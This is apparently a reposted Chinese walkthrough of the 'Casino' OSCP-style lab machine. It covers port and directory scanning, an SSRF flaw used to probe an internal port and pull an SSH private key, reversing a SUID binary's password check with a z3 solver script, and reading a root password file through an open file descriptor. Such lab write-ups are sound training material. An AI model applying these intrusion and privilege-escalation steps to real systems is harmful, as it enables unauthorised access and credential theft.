OSCP 靶场
靶场介绍
casino |
medium |
ffuz、ssrf 漏洞利用、ida 逆向、python 脚本编写、进程分析 |
信息收集
主机发现
nmap -sn 192.168.1.0/24
端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -sV -A -p- -Pn -T4 192.168.1.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 07:27 +06
Nmap scan report for 192.168.1.25
Host is up (0.00073s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 3b:20:d0:ba:e2:7a:8a:01:8a:35:3b:52:08:b0:c6:a8 (ECDSA)
|_ 256 74:76:0a:61:d4:2c:9b:45:36:00:4d:c8:d8:be:0b:89 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Binary Bet Casino
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目录扫描
└─$ gobuster dir -w pte_tools/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://192.168.1.25 -x php,txt,html,htm -e
权限获取
这里注册一个账号可以进入系统,里面是个玩游戏的页面
这里发现输到0$的时候会跳转到如下这个页面
http://192.168.1.25/casino/explainmepls.php?learnabout=en.wikipedia.org/wiki/Shell_game
这个功能点,不是包含就是ssrf
这里试了file、dict、 gopher 协议发现都过滤掉了,里面估计只写了固定的http协议。
使用bp 探测内部服务端口
这里爆破到6969端口,是管理员
管理员待办事项?提示?
使用bp 加载字典卡死,还是使用ffuf 对目录进行ffuz,发现codebreakers可访问
ffuf -w pte_tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://192.168.1.25/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -H "Cookie: PHPSESSID=3qef4taijt8b50t91n40o5va7g" -fw 284
查看源码这儿有个跳转
嘿嘿拼接后获取ssh 私钥
http://192.168.1.25/casino/explainmepls.php?learnabout=127.0.0.1:6969/codebreakers/shimmer_rsa
权限提升
suid 查看pass 二进制文件存在root 权限。
我们把它下载下来进行逆向
这段C/C++代码定义了一个程序,执行以下操作:
-
提示用户输入密码,并使用名为checkPasswd的函数进行检查。
-
如果密码正确,打开文件"/opt/root.pass",将用户ID设置为当前用户,并提示输入第二个密码。
-
如果第二个密码匹配"ultrasecretpassword",则执行一个shell ("/bin/sh")。
-
如果第二个密码不正确,则打印"bye."。
checkPasswd(s)函数检查输入的密码s,如果返回值不等于1,则返回0。
__int64 __fastcall checkPasswd(const char *a1)
{
if ( strlen(a1) == 26 )
{
if ( *a1 - a1[20] == -10 )
{
if ( a1[1] + a1[6] == 208 )
{
if ( a1[2] - a1[4] == 10 )
{
if ( a1[3] - a1[14] == -2 )
{
if ( a1[4] * a1[25] == 10100 )
{
if ( a1[5] + a1[17] == 219 )
{
if ( a1[6] - a1[10] == -11 )
{
if ( a1[7] - a1[20] == -10 )
{
if ( a1[8] * a1[17] == 11845 )
{
if ( a1[9] - a1[18] == -7 )
{
if ( a1[10] - a1[24] == 1 )
{
if ( a1[11] * a1[4] == 9797 )
{
if ( a1[12] - a1[3] == 3 )
{
if ( a1[13] * a1[11] == 11252 )
{
if ( a1[14] - a1[13] == -2 )
{
if ( a1[15] == a1[23] )
{
if ( a1[16] - a1[8] == -5 )
{
if ( a1[17] * a1[7] == 10815 )
{
if ( a1[18] - a1[14] == -2 )
{
if ( a1[19] - *a1 == -8 )
{
if ( a1[20] - a1[23] == 4 )
{
if ( a1[21] + a1[7] == 220 )
{
if ( a1[22] - a1[1] == 15 )
{
if ( a1[23] == a1[15] )
{
if ( a1[24] * a1[2] == 12654 )
{
if ( a1[25] - a1[12] == -15 )
{
puts("Correct pass");
return 1LL;
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
puts("Incorrect pass");
return 0LL;
}
}
这里直接让ai 使用z3 库写一个满足以上代码条件的脚本
from z3 import *
# Create a solver
solver = Solver()
# Define 26 integer variables for each character in the password within ASCII range
password = [Int(f"char_{i}") for i in range(26)]
for char in password:
solver.add(And(char >= 0, char <= 127)) # Limit characters to ASCII range
# Add constraints based on the conditions in checkPasswd function
solver.add(password[0] - password[20] == -10)
solver.add(password[1] + password[6] == 208)
solver.add(password[2] - password[4] == 10)
solver.add(password[3] - password[14] == -2)
solver.add(password[4] * password[25] == 10100)
solver.add(password[5] + password[17] == 219)
solver.add(password[6] - password[10] == -11)
solver.add(password[7] - password[20] == -10)
solver.add(password[8] * password[17] == 11845)
solver.add(password[9] - password[18] == -7)
solver.add(password[10] - password[24] == 1)
solver.add(password[11] * password[4] == 9797)
solver.add(password[12] - password[3] == 3)
solver.add(password[13] * password[11] == 11252)
solver.add(password[14] - password[13] == -2)
solver.add(password[15] == password[23])
solver.add(password[16] - password[8] == -5)
solver.add(password[17] * password[7] == 10815)
solver.add(password[18] - password[14] == -2)
solver.add(password[19] - password[0] == -8)
solver.add(password[20] - password[23] == 4)
solver.add(password[21] + password[7] == 220)
solver.add(password[22] - password[1] == 15)
solver.add(password[23] == password[15])
solver.add(password[24] * password[2] == 12654)
solver.add(password[25] - password[12] == -15)
# Check if there is a solution
if solver.check() == sat:
model = solver.model()
password_str = ''.join([chr(model[char].as_long()) for char in password])
print("Correct pass found:", password_str)
else:
print("No solution found")
最后得到密码,如下
ihopethisisastrongpassword
ultrasecretpassword
输入密码后,进入pass 进程的shell,这里/opt/root.pass文件,也是打开状态的,因此我们可以进入 /proc/self/fd,查看进程内容
/proc/self/fd 是一个特殊的目录,它包含了当前进程打开的文件描述符的符号链接。通过访问这个目录,可以查看当前进程打开的文件描述符的信息。每个文件描述符都会对应一个符号链接,指向实际打开的文件或设备。这个目录提供了一种方式来查看当前进程的文件描述符情况,对于调试和监控进程的文件操作很有用。
`cat <&3` 这个命令的含义是将文件描述符 3 的内容输出到标准输出。在这个命令中,`cat` 是用来将文件内容输出的命令,`<&3` 表示将文件描述符 3 的内容作为输入传递给 `cat` 命令,然后 `cat` 命令将文件描述符 3 的内容输出到标准输出。
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):【OSCP】一个非常有趣的靶场-Casino
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论